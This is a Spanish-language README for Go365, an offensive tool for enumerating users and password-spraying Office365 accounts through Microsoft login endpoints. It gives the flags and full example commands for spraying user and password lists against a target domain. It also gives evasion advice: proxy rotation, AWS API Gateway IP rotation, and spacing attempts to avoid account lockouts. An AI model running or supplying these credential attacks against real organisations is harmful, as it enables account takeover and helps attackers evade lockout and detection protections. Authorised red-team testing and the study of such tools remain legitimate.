
Una herramienta de ataque a usuarios de Office365
Por favor, lea todo este README antes de usar Go365!
Go365 es una herramienta diseñada para realizar enumeración de usuarios* y ataques de adivinanza de contraseñas en organizaciones que usan Office365 (ahora/pronto Microsoft365). Go365 utiliza un endpoint único de la API SOAP en login.microsoftonline.com que la mayoría de otras herramientas no usan. Cuando se consulta con una dirección de correo electrónico y una contraseña, el endpoint responde con un código de autenticación y autorización de Azure AD. Este código es procesado por Go365 y el resultado se imprime en pantalla o en un archivo de salida.
* La enumeración de usuarios se realiza junto con un intento de adivinanza de contraseña. Por lo tanto, no hay una bandera o funcionalidad específica para realizar solo la enumeración de usuarios. En su lugar, realice su primer ataque de adivinanza de contraseñas y luego analice los resultados para usuarios válidos.
Descargue un binario precompilado para su sistema operativo AQUÍ.
Descargue el código fuente y compile localmente.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Versión: 2.0
Autores: paveway3, h0useh3ad, S4R1N, EatonChips
Uso:
-h Muestra esta información
Requerido - Endpoint:
-endpoint [rst o graph] Especifica qué endpoint usar
: (-endpoint rst) *¡Go365 clásico!* login.microsoftonline.com/rst2.srf. Solicitud SOAP XML con respuesta XML
: (-endpoint graph) login.microsoft.com/common/oauth2/token. Solicitud HTTP POST con respuesta JSON
Requerido - Nombres de usuario y Contraseñas:
-u <string> Nombre de usuario único a probar
: Nombre de usuario con o sin "@domain.com"
: También debe proporcionar la bandera -d para especificar el dominio
: (-u [email protected])
-ul <archivo> Lista de nombres de usuario a usar (anula -u)
: El archivo debe contener un nombre de usuario por línea
: Los nombres de usuario pueden tener "@domain.com"
: Si no se especifica ningún dominio, se usa el dominio de -d
: (-ul ./usernamelist.txt)
-p <string> Contraseña a intentar
: Encierre entre comillas simples si contiene caracteres especiales
: (-p password123) o (-p 'p@s$w0|2d')
-pl <archivo> Lista de contraseñas a usar (anula -p)
: El archivo debe contener una contraseña por línea
: La bandera -delay se puede usar para incluir una pausa entre cada conjunto de intentos
: (-pl ./passwordlist.txt)
-up <archivo> Lista de usuario:contraseña a usar (anula todas las opciones anteriores)
: Un nombre de usuario y contraseña separados por ":" por línea
: ¡Cuidado con los nombres de usuario duplicados!
: (-up ./userpasslist.txt)
Requerido/Opcional - Dominio:
-d <string> Dominio a probar
: Use esto si el nombre de usuario o la lista de nombres de usuario no incluye "@targetcompany.com"
: (-d targetcompany.com)
Opcional:
-w <int> Tiempo de espera entre intentos en segundos.
: Por defecto: 1 segundo. Se recomiendan 5 segundos.
: (-w 10)
-delay <int> Retraso (en segundos) entre rociados al usar una lista de contraseñas.
: Por defecto: se recomiendan 60 minutos (3600 segundos).
: (-delay 7200)
-o <string> Archivo de salida para escribir
: Añadirá si el archivo existe, de lo contrario se crea un archivo
: (-o ./Go365output.out)
-proxy <string> Servidor proxy SOCKS5 único a usar
: Dirección IP y Puerto separados por ":"
: Proxy SOCKS5
: (-proxy 127.0.0.1:1080)
-proxyfile <archivo> Un archivo con una lista de servidores proxy SOCKS5 a usar
: Dirección IP y Puerto separados por ":" en cada línea
: Selecciona aleatoriamente un servidor proxy para usar antes de cada solicitud
: (-proxyfile ./proxyfile.txt)
-url <string> Endpoint al que enviar solicitudes
: URL de 'Invocación' de Amazon API Gateway
: Muy recomendable que use esta opción. Búsquelo en Google, o
: eche un vistazo a: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Modo de depuración.
: Imprimir respuesta XML
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Incluso puede programar toda su campaña de adivinanza de contraseñas usando las banderas -pl y -delay :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Consejo: Si obtiene muchas respuestas de "Cuenta bloqueada", entonces quizás quiera usar un proxy o una puerta de enlace de AWS.